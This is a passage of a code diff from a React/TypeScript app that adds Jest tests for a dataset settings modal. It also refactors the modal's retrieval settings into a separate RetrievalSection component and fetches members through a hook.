+import userEvent from '@testing-library/user-event'
+import SettingsModal from './index'
+import { ToastContext } from '@/app/components/base/toast'
+import type { DataSet } from '@/models/datasets'
+import { ChunkingMode, DataSourceType, DatasetPermission, RerankingModeEnum } from '@/models/datasets'
+import { IndexingType } from '@/app/components/datasets/create/step-two'
+import { ModelTypeEnum } from '@/app/components/header/account-setting/model-provider-page/declarations'
+import { updateDatasetSetting } from '@/service/datasets'
+import { useMembers } from '@/service/use-common'
+import { RETRIEVE_METHOD, type RetrievalConfig } from '@/types/app'
+import { ACCOUNT_SETTING_TAB } from '@/app/components/header/account-setting/constants'
+
+const mockNotify = jest.fn()
+const mockOnCancel = jest.fn()
+const mockOnSave = jest.fn()
+const mockSetShowAccountSettingModal = jest.fn()
+let mockIsWorkspaceDatasetOperator = false
+
+const mockUseModelList = jest.fn()
+const mockUseModelListAndDefaultModel = jest.fn()
+const mockUseModelListAndDefaultModelAndCurrentProviderAndModel = jest.fn()
+const mockUseCurrentProviderAndModel = jest.fn()
+const mockCheckShowMultiModalTip = jest.fn()
+
+jest.mock('ky', () => {
+  const ky = () => ky
+  ky.extend = () => ky
+  ky.create = () => ky
+  return { __esModule: true, default: ky }
+})
+
+jest.mock('@/app/components/datasets/create/step-two', () => ({
+  __esModule: true,
+  IndexingType: {
+    QUALIFIED: 'high_quality',
+    ECONOMICAL: 'economy',
+  },
+}))
+
+jest.mock('@/service/datasets', () => ({
+  updateDatasetSetting: jest.fn(),
+}))
+
+jest.mock('@/service/use-common', () => ({
+  __esModule: true,
+  ...jest.requireActual('@/service/use-common'),
+  useMembers: jest.fn(),
+}))
+
+jest.mock('@/context/app-context', () => ({
+  useAppContext: () => ({ isCurrentWorkspaceDatasetOperator: mockIsWorkspaceDatasetOperator }),
+  useSelector: <T,>(selector: (value: { userProfile: { id: string; name: string; email: string; avatar_url: string } }) => T) => selector({
+    userProfile: {
+      id: 'user-1',
+      name: 'User One',
+      email: 'user@example.com',
+      avatar_url: 'avatar.png',
+    },
+  }),
+}))
+
+jest.mock('@/context/modal-context', () => ({
+  useModalContext: () => ({
+    setShowAccountSettingModal: mockSetShowAccountSettingModal,
+  }),
+}))
+
+jest.mock('@/context/i18n', () => ({
+  useDocLink: () => (path: string) => `https://docs${path}`,
+}))
+
+jest.mock('@/context/provider-context', () => ({
+  useProviderContext: () => ({
+    modelProviders: [],
+    textGenerationModelList: [],
+    supportRetrievalMethods: [
+      RETRIEVE_METHOD.semantic,
+      RETRIEVE_METHOD.fullText,
+      RETRIEVE_METHOD.hybrid,
+      RETRIEVE_METHOD.keywordSearch,
+    ],
+  }),
+}))
+
+jest.mock('@/app/components/header/account-setting/model-provider-page/hooks', () => ({
+  __esModule: true,
+  useModelList: (...args: unknown[]) => mockUseModelList(...args),
+  useModelListAndDefaultModel: (...args: unknown[]) => mockUseModelListAndDefaultModel(...args),
+  useModelListAndDefaultModelAndCurrentProviderAndModel: (...args: unknown[]) =>
+    mockUseModelListAndDefaultModelAndCurrentProviderAndModel(...args),
+  useCurrentProviderAndModel: (...args: unknown[]) => mockUseCurrentProviderAndModel(...args),
+}))
+
+jest.mock('@/app/components/header/account-setting/model-provider-page/model-selector', () => ({
+  __esModule: true,
+  default: ({ defaultModel }: { defaultModel?: { provider: string; model: string } }) => (
+    <div data-testid='model-selector'>
+      {defaultModel ? `${defaultModel.provider}/${defaultModel.model}` : 'no-model'}
+    </div>
+  ),
+}))
+
+jest.mock('@/app/components/datasets/settings/utils', () => ({
+  checkShowMultiModalTip: (...args: unknown[]) => mockCheckShowMultiModalTip(...args),
+}))
+
+const mockUpdateDatasetSetting = updateDatasetSetting as jest.MockedFunction<typeof updateDatasetSetting>
+const mockUseMembers = useMembers as jest.MockedFunction<typeof useMembers>
+
+const createRetrievalConfig = (overrides: Partial<RetrievalConfig> = {}): RetrievalConfig => ({
+  search_method: RETRIEVE_METHOD.semantic,
+  reranking_enable: false,
+  reranking_model: {
+    reranking_provider_name: '',
+    reranking_model_name: '',
+  },
+  top_k: 2,
+  score_threshold_enabled: false,
+  score_threshold: 0.5,
+  reranking_mode: RerankingModeEnum.RerankingModel,
+  ...overrides,
+})
+
+const createDataset = (overrides: Partial<DataSet> = {}, retrievalOverrides: Partial<RetrievalConfig> = {}): DataSet => {
+  const retrievalConfig = createRetrievalConfig(retrievalOverrides)
+  return {
+    id: 'dataset-id',
+    name: 'Test Dataset',
+    indexing_status: 'completed',
+    icon_info: {
+      icon: 'icon',
+      icon_type: 'emoji',
+    },
+    description: 'Description',
+    permission: DatasetPermission.allTeamMembers,
+    data_source_type: DataSourceType.FILE,
+    indexing_technique: IndexingType.QUALIFIED,
+    author_name: 'Author',
+    created_by: 'creator',
+    updated_by: 'updater',
+    updated_at: 1700000000,
+    app_count: 0,
+    doc_form: ChunkingMode.text,
+    document_count: 0,
+    total_document_count: 0,
+    total_available_documents: 0,
+    word_count: 0,
+    provider: 'internal',
+    embedding_model: 'embed-model',
+    embedding_model_provider: 'embed-provider',
+    embedding_available: true,
+    tags: [],
+    partial_member_list: [],
+    external_knowledge_info: {
+      external_knowledge_id: 'ext-id',
+      external_knowledge_api_id: 'ext-api-id',
+      external_knowledge_api_name: 'External API',
+      external_knowledge_api_endpoint: 'https://api.example.com',
+    },
+    external_retrieval_model: {
+      top_k: 2,
+      score_threshold: 0.5,
+      score_threshold_enabled: false,
+    },
+    built_in_field_enabled: false,
+    doc_metadata: [],
+    keyword_number: 10,
+    pipeline_id: 'pipeline-id',
+    is_published: false,
+    runtime_mode: 'general',
+    enable_api: true,
+    is_multimodal: false,
+    ...overrides,
+    retrieval_model_dict: {
+      ...retrievalConfig,
+      ...overrides.retrieval_model_dict,
+    },
+    retrieval_model: {
+      ...retrievalConfig,
+      ...overrides.retrieval_model,
+    },
+  }
+}
+
+const renderWithProviders = (dataset: DataSet) => {
+  return render(
+    <ToastContext.Provider value={{ notify: mockNotify, close: jest.fn() }}>
+      <SettingsModal
+        currentDataset={dataset}
+        onCancel={mockOnCancel}
+        onSave={mockOnSave}
+      />
+    </ToastContext.Provider>,
+  )
+}
+
+const createMemberList = (): DataSet['partial_member_list'] => ([
+  'member-2',
+])
+
+const renderSettingsModal = async (dataset: DataSet) => {
+  renderWithProviders(dataset)
+  await waitFor(() => expect(mockUseMembers).toHaveBeenCalled())
+}
+
+describe('SettingsModal', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockIsWorkspaceDatasetOperator = false
+    mockUseMembers.mockReturnValue({
+      data: {
+        accounts: [
+          {
+            id: 'user-1',
+            name: 'User One',
+            email: 'user@example.com',
+            avatar: 'avatar.png',
+            avatar_url: 'avatar.png',
+            status: 'active',
+            role: 'owner',
+          },
+          {
+            id: 'member-2',
+            name: 'Member Two',
+            email: 'member@example.com',
+            avatar: 'avatar.png',
+            avatar_url: 'avatar.png',
+            status: 'active',
+            role: 'editor',
+          },
+        ],
+      },
+    } as ReturnType<typeof useMembers>)
+    mockUseModelList.mockImplementation((type: ModelTypeEnum) => {
+      if (type === ModelTypeEnum.rerank) {
+        return {
+          data: [
+            {
+              provider: 'rerank-provider',
+              models: [{ model: 'rerank-model' }],
+            },
+          ],
+        }
+      }
+      return { data: [{ provider: 'embed-provider', models: [{ model: 'embed-model' }] }] }
+    })
+    mockUseModelListAndDefaultModel.mockReturnValue({ modelList: [], defaultModel: null })
+    mockUseModelListAndDefaultModelAndCurrentProviderAndModel.mockReturnValue({ defaultModel: null, currentModel: null })
+    mockUseCurrentProviderAndModel.mockReturnValue({ currentProvider: null, currentModel: null })
+    mockCheckShowMultiModalTip.mockReturnValue(false)
+    mockUpdateDatasetSetting.mockResolvedValue(createDataset())
+  })
+
+  // Rendering and basic field bindings.
+  describe('Rendering', () => {
+    it('should render dataset details when dataset is provided', async () => {
+      // Arrange
+      const dataset = createDataset()
+
+      // Act
+      await renderSettingsModal(dataset)
+
+      // Assert
+      expect(screen.getByPlaceholderText('datasetSettings.form.namePlaceholder')).toHaveValue('Test Dataset')
+      expect(screen.getByPlaceholderText('datasetSettings.form.descPlaceholder')).toHaveValue('Description')
+    })
+
+    it('should show external knowledge info when dataset is external', async () => {
+      // Arrange
+      const dataset = createDataset({
+        provider: 'external',
+        external_knowledge_info: {
+          external_knowledge_id: 'ext-id-123',
+          external_knowledge_api_id: 'ext-api-id-123',
+          external_knowledge_api_name: 'External Knowledge API',
+          external_knowledge_api_endpoint: 'https://api.external.com',
+        },
+      })
+
+      // Act
+      await renderSettingsModal(dataset)
+
+      // Assert
+      expect(screen.getByText('External Knowledge API')).toBeInTheDocument()
+      expect(screen.getByText('https://api.external.com')).toBeInTheDocument()
+      expect(screen.getByText('ext-id-123')).toBeInTheDocument()
+    })
+  })
+
+  // User interactions that update visible state.
+  describe('Interactions', () => {
+    it('should call onCancel when cancel button is clicked', async () => {
+      // Arrange
+      const user = userEvent.setup()
+
+      // Act
+      await renderSettingsModal(createDataset())
+      await user.click(screen.getByRole('button', { name: 'common.operation.cancel' }))
+
+      // Assert
+      expect(mockOnCancel).toHaveBeenCalledTimes(1)
+    })
+
+    it('should update name input when user types', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      await renderSettingsModal(createDataset())
+
+      const nameInput = screen.getByPlaceholderText('datasetSettings.form.namePlaceholder')
+
+      // Act
+      await user.clear(nameInput)
+      await user.type(nameInput, 'New Dataset Name')
+
+      // Assert
+      expect(nameInput).toHaveValue('New Dataset Name')
+    })
+
+    it('should update description input when user types', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      await renderSettingsModal(createDataset())
+
+      const descriptionInput = screen.getByPlaceholderText('datasetSettings.form.descPlaceholder')
+
+      // Act
+      await user.clear(descriptionInput)
+      await user.type(descriptionInput, 'New description')
+
+      // Assert
+      expect(descriptionInput).toHaveValue('New description')
+    })
+
+    it('should show and dismiss retrieval change tip when indexing method changes', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const dataset = createDataset({ indexing_technique: IndexingType.ECONOMICAL })
+
+      // Act
+      await renderSettingsModal(dataset)
+      await user.click(screen.getByText('datasetCreation.stepTwo.qualified'))
+
+      // Assert
+      expect(await screen.findByText('appDebug.datasetConfig.retrieveChangeTip')).toBeInTheDocument()
+
+      // Act
+      await user.click(screen.getByLabelText('close-retrieval-change-tip'))
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.queryByText('appDebug.datasetConfig.retrieveChangeTip')).not.toBeInTheDocument()
+      })
+    })
+
+    it('should open account setting modal when embedding model tip is clicked', async () => {
+      // Arrange
+      const user = userEvent.setup()
+
+      // Act
+      await renderSettingsModal(createDataset())
+      await user.click(screen.getByText('datasetSettings.form.embeddingModelTipLink'))
+
+      // Assert
+      expect(mockSetShowAccountSettingModal).toHaveBeenCalledWith({ payload: ACCOUNT_SETTING_TAB.PROVIDER })
+    })
+  })
+
+  // Validation guardrails before saving.
+  describe('Validation', () => {
+    it('should block save when dataset name is empty', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      await renderSettingsModal(createDataset())
+
+      const nameInput = screen.getByPlaceholderText('datasetSettings.form.namePlaceholder')
+
+      // Act
+      await user.clear(nameInput)
+      await user.click(screen.getByRole('button', { name: 'common.operation.save' }))
+
+      // Assert
+      expect(mockNotify).toHaveBeenCalledWith(expect.objectContaining({
+        type: 'error',
+        message: 'datasetSettings.form.nameError',
+      }))
+      expect(mockUpdateDatasetSetting).not.toHaveBeenCalled()
+    })
+
+    it('should block save when reranking is enabled without model', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      mockUseModelList.mockReturnValue({ data: [] })
+      const dataset = createDataset({}, createRetrievalConfig({
+        reranking_enable: true,
+        reranking_model: {
+          reranking_provider_name: '',
+          reranking_model_name: '',
+        },
+      }))
+
+      // Act
+      await renderSettingsModal(dataset)
+      await user.click(screen.getByRole('button', { name: 'common.operation.save' }))
+
+      // Assert
+      expect(mockNotify).toHaveBeenCalledWith(expect.objectContaining({
+        type: 'error',
+        message: 'appDebug.datasetConfig.rerankModelRequired',
+      }))
+      expect(mockUpdateDatasetSetting).not.toHaveBeenCalled()
+    })
+  })
+
+  // Save flows and side effects.
+  describe('Save', () => {
+    it('should save internal dataset changes when form is valid', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const rerankRetrieval = createRetrievalConfig({
+        reranking_enable: true,
+        reranking_model: {
+          reranking_provider_name: 'rerank-provider',
+          reranking_model_name: 'rerank-model',
+        },
+      })
+      const dataset = createDataset({
+        retrieval_model: rerankRetrieval,
+        retrieval_model_dict: rerankRetrieval,
+      })
+
+      // Act
+      await renderSettingsModal(dataset)
+
+      const nameInput = screen.getByPlaceholderText('datasetSettings.form.namePlaceholder')
+      await user.clear(nameInput)
+      await user.type(nameInput, 'Updated Internal Dataset')
+      await user.click(screen.getByRole('button', { name: 'common.operation.save' }))
+
+      // Assert
+      await waitFor(() => expect(mockUpdateDatasetSetting).toHaveBeenCalled())
+
+      expect(mockUpdateDatasetSetting).toHaveBeenCalledWith(expect.objectContaining({
+        body: expect.objectContaining({
+          name: 'Updated Internal Dataset',
+          permission: DatasetPermission.allTeamMembers,
+        }),
+      }))
+      expect(mockNotify).toHaveBeenCalledWith(expect.objectContaining({
+        type: 'success',
+        message: 'common.actionMsg.modifiedSuccessfully',
+      }))
+      expect(mockOnSave).toHaveBeenCalledWith(expect.objectContaining({
+        name: 'Updated Internal Dataset',
+        retrieval_model_dict: expect.objectContaining({
+          reranking_enable: true,
+        }),
+      }))
+    })
+
+    it('should save external dataset changes when partial members configured', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const dataset = createDataset({
+        provider: 'external',
+        permission: DatasetPermission.partialMembers,
+        partial_member_list: createMemberList(),
+        external_retrieval_model: {
+          top_k: 5,
+          score_threshold: 0.3,
+          score_threshold_enabled: true,
+        },
+      }, {
+        score_threshold_enabled: true,
+        score_threshold: 0.8,
+      })
+
+      // Act
+      await renderSettingsModal(dataset)
+      await user.click(screen.getByRole('button', { name: 'common.operation.save' }))
+
+      // Assert
+      await waitFor(() => expect(mockUpdateDatasetSetting).toHaveBeenCalled())
+
+      expect(mockUpdateDatasetSetting).toHaveBeenCalledWith(expect.objectContaining({
+        body: expect.objectContaining({
+          permission: DatasetPermission.partialMembers,
+          external_retrieval_model: expect.objectContaining({
+            top_k: 5,
+          }),
+          partial_member_list: [
+            {
+              user_id: 'member-2',
+              role: 'editor',
+            },
+          ],
+        }),
+      }))
+      expect(mockOnSave).toHaveBeenCalledWith(expect.objectContaining({
+        retrieval_model_dict: expect.objectContaining({
+          score_threshold_enabled: true,
+          score_threshold: 0.8,
+        }),
+      }))
+    })
+
+    it('should disable save button while saving', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      mockUpdateDatasetSetting.mockImplementation(() => new Promise(resolve => setTimeout(resolve, 100)))
+
+      // Act
+      await renderSettingsModal(createDataset())
+
+      const saveButton = screen.getByRole('button', { name: 'common.operation.save' })
+      await user.click(saveButton)
+
+      // Assert
+      expect(saveButton).toBeDisabled()
+    })
+
+    it('should show error toast when save fails', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      mockUpdateDatasetSetting.mockRejectedValue(new Error('API Error'))
+
+      // Act
+      await renderSettingsModal(createDataset())
+      await user.click(screen.getByRole('button', { name: 'common.operation.save' }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockNotify).toHaveBeenCalledWith(expect.objectContaining({ type: 'error' }))
+      })
+    })
+  })
+})
diff --git a/web/app/components/app/configuration/dataset-config/settings-modal/index.tsx b/web/app/components/app/configuration/dataset-config/settings-modal/index.tsx
index cd6e39011e..c191ff5d46 100644
--- a/web/app/components/app/configuration/dataset-config/settings-modal/index.tsx
+++ b/web/app/components/app/configuration/dataset-config/settings-modal/index.tsx
@@ -1,13 +1,10 @@
 import type { FC } from 'react'
-import { useMemo, useRef, useState } from 'react'
-import { useMount } from 'ahooks'
+import { useEffect, useMemo, useRef, useState } from 'react'
 import { useTranslation } from 'react-i18next'
 import { isEqual } from 'lodash-es'
 import { RiCloseLine } from '@remixicon/react'
-import { ApiConnectionMod } from '@/app/components/base/icons/src/vender/solid/development'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import IndexMethod from '@/app/components/datasets/settings/index-method'
-import Divider from '@/app/components/base/divider'
 import Button from '@/app/components/base/button'
 import Input from '@/app/components/base/input'
 import Textarea from '@/app/components/base/textarea'
@@ -18,20 +15,17 @@ import { useAppContext } from '@/context/app-context'
 import { useModalContext } from '@/context/modal-context'
 import { ACCOUNT_SETTING_TAB } from '@/app/components/header/account-setting/constants'
 import type { RetrievalConfig } from '@/types/app'
-import RetrievalSettings from '@/app/components/datasets/external-knowledge-base/create/RetrievalSettings'
-import RetrievalMethodConfig from '@/app/components/datasets/common/retrieval-method-config'
-import EconomicalRetrievalMethodConfig from '@/app/components/datasets/common/economical-retrieval-method-config'
 import { isReRankModelSelected } from '@/app/components/datasets/common/check-rerank-model'
-import { AlertTriangle } from '@/app/components/base/icons/src/vender/solid/alertsAndFeedback'
 import PermissionSelector from '@/app/components/datasets/settings/permission-selector'
 import ModelSelector from '@/app/components/header/account-setting/model-provider-page/model-selector'
 import { useModelList } from '@/app/components/header/account-setting/model-provider-page/hooks'
 import { ModelTypeEnum } from '@/app/components/header/account-setting/model-provider-page/declarations'
-import { fetchMembers } from '@/service/common'
 import type { Member } from '@/models/common'
 import { IndexingType } from '@/app/components/datasets/create/step-two'
 import { useDocLink } from '@/context/i18n'
+import { useMembers } from '@/service/use-common'
 import { checkShowMultiModalTip } from '@/app/components/datasets/settings/utils'
+import { RetrievalChangeTip, RetrievalSection } from './retrieval-section'
 
 type SettingsModalProps = {
   currentDataset: DataSet
@@ -68,6 +62,7 @@ const SettingsModal: FC<SettingsModalProps> = ({
   const [scoreThresholdEnabled, setScoreThresholdEnabled] = useState(localeCurrentDataset?.external_retrieval_model.score_threshold_enabled ?? false)
   const [selectedMemberIDs, setSelectedMemberIDs] = useState<string[]>(currentDataset.partial_member_list || [])
   const [memberList, setMemberList] = useState<Member[]>([])
+  const { data: membersData } = useMembers()
 
   const [indexMethod, setIndexMethod] = useState(currentDataset.indexing_technique)
   const [retrievalConfig, setRetrievalConfig] = useState(localeCurrentDataset?.retrieval_model_dict as RetrievalConfig)
@@ -165,17 +160,12 @@ const SettingsModal: FC<SettingsModalProps> = ({
     }
   }
 
-  const getMembers = async () => {
-    const { accounts } = await fetchMembers({ url: '/workspaces/current/members', params: {} })
-    if (!accounts)
+  useEffect(() => {
+    if (!membersData?.accounts)
       setMemberList([])
     else
-      setMemberList(accounts)
-  }
-
-  useMount(() => {
-    getMembers()
-  })
+      setMemberList(membersData.accounts)
+  }, [membersData])
 
   const showMultiModalTip = useMemo(() => {
     return checkShowMultiModalTip({
@@ -298,92 +288,37 @@ const SettingsModal: FC<SettingsModalProps> = ({
         )}
 
         {/* Retrieval Method Config */}
-        {currentDataset?.provider === 'external'
-          ? <>
-            <div className={rowClass}><Divider /></div>
-            <div className={rowClass}>
-              <div className={labelClass}>
-                <div className='system-sm-semibold text-text-secondary'>{t('datasetSettings.form.retrievalSetting.title')}</div>
-              </div>
-              <RetrievalSettings
-                topK={topK}
-                scoreThreshold={scoreThreshold}
-                scoreThresholdEnabled={scoreThresholdEnabled}
-                onChange={handleSettingsChange}
-                isInRetrievalSetting={true}
-              />
-            </div>
-            <div className={rowClass}><Divider /></div>
-            <div className={rowClass}>
-              <div className={labelClass}>
-                <div className='system-sm-semibold text-text-secondary'>{t('datasetSettings.form.externalKnowledgeAPI')}</div>
-              </div>
-              <div className='w-full max-w-[480px]'>
-                <div className='flex h-full items-center gap-1 rounded-lg bg-components-input-bg-normal px-3 py-2'>
-                  <ApiConnectionMod className='h-4 w-4 text-text-secondary' />
-                  <div className='system-sm-medium overflow-hidden text-ellipsis text-text-secondary'>
-                    {currentDataset?.external_knowledge_info.external_knowledge_api_name}
-                  </div>
-                  <div className='system-xs-regular text-text-tertiary'>·</div>
-                  <div className='system-xs-regular text-text-tertiary'>{currentDataset?.external_knowledge_info.external_knowledge_api_endpoint}</div>
-                </div>
-              </div>
-            </div>
-            <div className={rowClass}>
-              <div className={labelClass}>
-                <div className='system-sm-semibold text-text-secondary'>{t('datasetSettings.form.externalKnowledgeID')}</div>
-              </div>
-              <div className='w-full max-w-[480px]'>
-                <div className='flex h-full items-center gap-1 rounded-lg bg-components-input-bg-normal px-3 py-2'>
-                  <div className='system-xs-regular text-text-tertiary'>{currentDataset?.external_knowledge_info.external_knowledge_id}</div>
-                </div>
-              </div>
-            </div>
-            <div className={rowClass}><Divider /></div>
-          </>
-          : <div className={rowClass}>
-            <div className={cn(labelClass, 'w-auto min-w-[168px]')}>
-              <div>
-                <div className='system-sm-semibold text-text-secondary'>{t('datasetSettings.form.retrievalSetting.title')}</div>
-                <div className='text-xs font-normal leading-[18px] text-text-tertiary'>
-                  <a target='_blank' rel='noopener noreferrer' href={docLink('/guides/knowledge-base/create-knowledge-and-upload-documents/setting-indexing-methods#setting-the-retrieval-setting')} className='text-text-accent'>{t('datasetSettings.form.retrievalSetting.learnMore')}</a>
-                  {t('datasetSettings.form.retrievalSetting.description')}
-                </div>
-              </div>
-            </div>
-            <div>
-              {indexMethod === IndexingType.QUALIFIED
-                ? (
-                  <RetrievalMethodConfig
-                    value={retrievalConfig}
-                    onChange={setRetrievalConfig}
-                    showMultiModalTip={showMultiModalTip}
-                  />
-                )
-                : (
-                  <EconomicalRetrievalMethodConfig
-                    value={retrievalConfig}
-                    onChange={setRetrievalConfig}
-                  />
-                )}
-            </div>
-          </div>}
+        {isExternal ? (
+          <RetrievalSection
+            isExternal
+            rowClass={rowClass}
+            labelClass={labelClass}
+            t={t}
+            topK={topK}
+            scoreThreshold={scoreThreshold}
+            scoreThresholdEnabled={scoreThresholdEnabled}
+            onExternalSettingChange={handleSettingsChange}
+            currentDataset={currentDataset}
+          />
+        ) : (
+          <RetrievalSection
+            isExternal={false}
+            rowClass={rowClass}
+            labelClass={labelClass}
+            t={t}
+            indexMethod={indexMethod}
+            retrievalConfig={retrievalConfig}
+            showMultiModalTip={showMultiModalTip}
+            onRetrievalConfigChange={setRetrievalConfig}
+            docLink={docLink}
+          />
+        )}
       </div>
-      {isRetrievalChanged && !isHideChangedTip && (
-        <div className='absolute bottom-[76px] left-[30px] right-[30px] z-10 flex h-10 items-center justify-between rounded-lg border border-[#FEF0C7] bg-[#FFFAEB] px-3 shadow-lg'>
-          <div className='flex items-center'>
-            <AlertTriangle className='mr-1 h-3 w-3 text-[#F79009]' />
-            <div className='text-xs font-medium leading-[18px] text-gray-700'>{t('appDebug.datasetConfig.retrieveChangeTip')}</div>
-          </div>
-          <div className='cursor-pointer p-1' onClick={(e) => {
-            setIsHideChangedTip(true)
-            e.stopPropagation()
-            e.nativeEvent.stopImmediatePropagation()
-          }}>
-            <RiCloseLine className='h-4 w-4 text-gray-500' />
-          </div>
-        </div>
-      )}
+      <RetrievalChangeTip
+        visible={isRetrievalChanged && !isHideChangedTip}
+        message={t('appDebug.datasetConfig.retrieveChangeTip')}
+        onDismiss={() => setIsHideChangedTip(true)}
+      />
 
       <div
         className='sticky bottom-0 z-[5] flex w-full justify-end border-t border-divider-regular bg-background-section px-6 py-4'
diff --git a/web/app/components/app/configuration/dataset-config/settings-modal/retrieval-section.spec.tsx b/web/app/components/app/configuration/dataset-config/settings-modal/retrieval-section.spec.tsx
new file mode 100644
index 0000000000..72adafca00
--- /dev/null
+++ b/web/app/components/app/configuration/dataset-config/settings-modal/retrieval-section.spec.tsx
@@ -0,0 +1,277 @@
+import { render, screen } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import type { DataSet } from '@/models/datasets'
+import { ChunkingMode, DataSourceType, DatasetPermission, RerankingModeEnum } from '@/models/datasets'
+import { RETRIEVE_METHOD, type RetrievalConfig } from '@/types/app'
+import { IndexingType } from '@/app/components/datasets/create/step-two'
+import { ModelTypeEnum } from '@/app/components/header/account-setting/model-provider-page/declarations'
+import { RetrievalChangeTip, RetrievalSection } from './retrieval-section'
+
+const mockUseModelList = jest.fn()
+const mockUseModelListAndDefaultModel = jest.fn()
+const mockUseModelListAndDefaultModelAndCurrentProviderAndModel = jest.fn()
+const mockUseCurrentProviderAndModel = jest.fn()
+
+jest.mock('ky', () => {
+  const ky = () => ky
+  ky.extend = () => ky
+  ky.create = () => ky
+  return { __esModule: true, default: ky }
+})
+
+jest.mock('@/context/provider-context', () => ({
+  useProviderContext: () => ({
+    modelProviders: [],
+    textGenerationModelList: [],
+    supportRetrievalMethods: [
+      RETRIEVE_METHOD.semantic,
+      RETRIEVE_METHOD.fullText,
+      RETRIEVE_METHOD.hybrid,
+      RETRIEVE_METHOD.keywordSearch,
+    ],
+  }),
+}))
+
+jest.mock('@/app/components/header/account-setting/model-provider-page/hooks', () => ({
+  __esModule: true,
+  useModelListAndDefaultModelAndCurrentProviderAndModel: (...args: unknown[]) =>
+    mockUseModelListAndDefaultModelAndCurrentProviderAndModel(...args),
+  useModelListAndDefaultModel: (...args: unknown[]) => mockUseModelListAndDefaultModel(...args),
+  useModelList: (...args: unknown[]) => mockUseModelList(...args),
+  useCurrentProviderAndModel: (...args: unknown[]) => mockUseCurrentProviderAndModel(...args),
+}))
+
+jest.mock('@/app/components/header/account-setting/model-provider-page/model-selector', () => ({
+  __esModule: true,
+  default: ({ defaultModel }: { defaultModel?: { provider: string; model: string } }) => (
+    <div data-testid='model-selector'>
+      {defaultModel ? `${defaultModel.provider}/${defaultModel.model}` : 'no-model'}
+    </div>
+  ),
+}))
+
+jest.mock('@/app/components/datasets/create/step-two', () => ({
+  __esModule: true,
+  IndexingType: {
+    QUALIFIED: 'high_quality',
+    ECONOMICAL: 'economy',
+  },
+}))
+
+const createRetrievalConfig = (overrides: Partial<RetrievalConfig> = {}): RetrievalConfig => ({
+  search_method: RETRIEVE_METHOD.semantic,
+  reranking_enable: false,
+  reranking_model: {
+    reranking_provider_name: '',
+    reranking_model_name: '',
+  },
+  top_k: 2,
+  score_threshold_enabled: false,
+  score_threshold: 0.5,
+  reranking_mode: RerankingModeEnum.RerankingModel,
+  ...overrides,
+})
+
+const createDataset = (overrides: Partial<DataSet> = {}, retrievalOverrides: Partial<RetrievalConfig> = {}): DataSet => {
+  const retrievalConfig = createRetrievalConfig(retrievalOverrides)
+  return {
+    id: 'dataset-id',
+    name: 'Test Dataset',
+    indexing_status: 'completed',
+    icon_info: {
+      icon: 'icon',
+      icon_type: 'emoji',
+    },
+    description: 'Description',
+    permission: DatasetPermission.allTeamMembers,
+    data_source_type: DataSourceType.FILE,
+    indexing_technique: IndexingType.QUALIFIED,
+    author_name: 'Author',
+    created_by: 'creator',
+    updated_by: 'updater',
+    updated_at: 1700000000,
+    app_count: 0,
+    doc_form: ChunkingMode.text,
+    document_count: 0,
+    total_document_count: 0,
+    total_available_documents: 0,
+    word_count: 0,
+    provider: 'internal',
+    embedding_model: 'embed-model',
+    embedding_model_provider: 'embed-provider',
+    embedding_available: true,
+    tags: [],
+    partial_member_list: [],
+    external_knowledge_info: {
+      external_knowledge_id: 'ext-id',
+      external_knowledge_api_id: 'ext-api-id',
+      external_knowledge_api_name: 'External API',
+      external_knowledge_api_endpoint: 'https://api.example.com',
+    },
+    external_retrieval_model: {
+      top_k: 2,
+      score_threshold: 0.5,
+      score_threshold_enabled: false,
+    },
+    built_in_field_enabled: false,
+    doc_metadata: [],
+    keyword_number: 10,
+    pipeline_id: 'pipeline-id',
+    is_published: false,
+    runtime_mode: 'general',
+    enable_api: true,
+    is_multimodal: false,
+    ...overrides,
+    retrieval_model_dict: {
+      ...retrievalConfig,
+      ...overrides.retrieval_model_dict,
+    },
+    retrieval_model: {
+      ...retrievalConfig,
+      ...overrides.retrieval_model,
+    },
+  }
+}
+
+describe('RetrievalChangeTip', () => {
+  const defaultProps = {
+    visible: true,
+    message: 'Test message',
+    onDismiss: jest.fn(),
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  it('renders and supports dismiss', async () => {
+    // Arrange
+    const onDismiss = jest.fn()
+    render(<RetrievalChangeTip {...defaultProps} onDismiss={onDismiss} />)
+
+    // Act
+    await userEvent.click(screen.getByRole('button', { name: 'close-retrieval-change-tip' }))
+
+    // Assert
+    expect(screen.getByText('Test message')).toBeInTheDocument()
+    expect(onDismiss).toHaveBeenCalledTimes(1)
+  })
+
+  it('does not render when hidden', () => {
+    // Arrange & Act
+    render(<RetrievalChangeTip {...defaultProps} visible={false} />)
+
+    // Assert
+    expect(screen.queryByText('Test message')).not.toBeInTheDocument()
+  })
+})
+
+describe('RetrievalSection', () => {
+  const t = (key: string) => key
+  const rowClass = 'row'
+  const labelClass = 'label'
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockUseModelList.mockImplementation((type: ModelTypeEnum) => {
+      if (type === ModelTypeEnum.rerank)
+        return { data: [{ provider: 'rerank-provider', models: [{ model: 'rerank-model' }] }] }
+      return { data: [] }
+    })
+    mockUseModelListAndDefaultModel.mockReturnValue({ modelList: [], defaultModel: null })
+    mockUseModelListAndDefaultModelAndCurrentProviderAndModel.mockReturnValue({ defaultModel: null, currentModel: null })
+    mockUseCurrentProviderAndModel.mockReturnValue({ currentProvider: null, currentModel: null })
+  })
+
+  it('renders external retrieval details and propagates changes', async () => {
+    // Arrange
+    const dataset = createDataset({
+      provider: 'external',
+      external_knowledge_info: {
+        external_knowledge_id: 'ext-id-999',
+        external_knowledge_api_id: 'ext-api-id-999',
+        external_knowledge_api_name: 'External API',
+        external_knowledge_api_endpoint: 'https://api.external.com',
+      },
+    })
+    const handleExternalChange = jest.fn()
+
+    // Act
+    render(
+      <RetrievalSection
+        isExternal
